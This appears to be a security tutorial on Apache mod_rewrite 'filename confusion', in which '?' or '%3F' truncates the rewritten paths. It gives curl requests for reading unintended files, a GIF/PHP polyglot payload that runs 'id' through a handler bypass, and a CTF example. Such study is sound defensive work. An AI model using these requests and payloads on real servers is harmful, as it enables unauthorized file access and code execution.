Filename Confusion

The issue arises from ambiguity surrounding the r->filename field. Ideally, r->filename should represent a path on the filesystem. However, in the Apache HTTP Server, certain modules interpret it as a URL instead. This inconsistency creates a problem—while most modules correctly treat r->filename it as a filesystem path, others may process it as a URL within the HTTP context. Such mixed interpretations can lead to serious security vulnerabilities

Truncation

Which Modules Treat r->filename as a URL?

One key culprit is mod_rewrite, a module that lets system administrators rewrite URL paths using the RewriteRule directive:

RewriteRule Pattern Substitution [flags]

The Substitution target can be either a filesystem path or a URL—likely designed for convenience. However, this “feature” introduces a subtle but profound risk. mod_rewrite always treats the rewritten result as a URL, even if it's meant to be a filesystem path. When a question mark (?) or its encoded form (%3F) is present, the path gets truncated at that point—leading to unexpected behavior and potential exploitation.

Relevant Code: mod_rewrite.c#L4141

/* Apply a single RewriteRule */
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx) {
    ...
    r->filename = newuri;

    if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
        r->path_info = NULL;
    }

    splitout_queryargs(r, p->flags);  // [!!!] Truncates `r->filename` at '?'
    ...
}

---

Path Truncation

This primitive exploits how mod_rewrite truncates the path at ?, even when dealing with filesystem paths.

Example RewriteRule:

config/default-site.conf

httpd.conf

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

Expected Behavior:

$ curl http://server/user/smallcurl
# Returns contents of /var/user/smallcurl/profile.yml

Exploited Behavior:

$ curl http://server/user/orange%2Fsecret.yml%3F
# Returns contents of /var/user/orange/secret.yml

Because mod_rewrite interprets the substitution as a URL, everything after %3F is dropped—allowing access to unintended files.

This is the first “primitive” — a small path-truncation bug that can grow into something much more dangerous down the line.

---

Misleading RewriteFlag Assignment

Another exploitation vector is abusing truncation to bypass RewriteRule flags—such as content-type handlers.

Example Setup:

RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]

This rule applies the PHP handler to any file ending in .php. However, since the truncation occurs after regex matching, an attacker can mislead this logic.

Attack Example:

1. Upload a malicious .gif file containing PHP code:

   GIF89a <?=`id`;>

2. Craft a request that tricks the rule:

   $ curl http://server/upload/evil.gif%3fooo.php
   # Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Even though the actual file is evil.gif, the rewrite rule interprets it as evil.gif?ooo.php, applies the .php logic, and routes it through PHP—executing the payload.

---

So in summary:

• mod_rewrite treats substitution targets as URLs.

• This leads to truncation at ?—even in what should be filesystem paths.

• Attackers can exploit this to:

  • Access unintended files (1-1-1)

  • Trigger inappropriate RewriteRule flags (1-1-2)

CTF Example

ZeroDaysCTF - 2025

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteRule "^/(.+).png$" "/files/$1.png"
</IfModule>

The flag is located in the files directory. Applying attack confusion under a misleading rewrite-flag can overwrite the destination.

curl -i http://localhost:3000/flag.txt?lol.png

The exploitation works by using a .png file to trigger the rewrite rule, but due to the truncation at the ?, the server ends up accessing unintended files—bypassing normal access controls.

Reference

1. Orange-Blog

2. mod_rewrite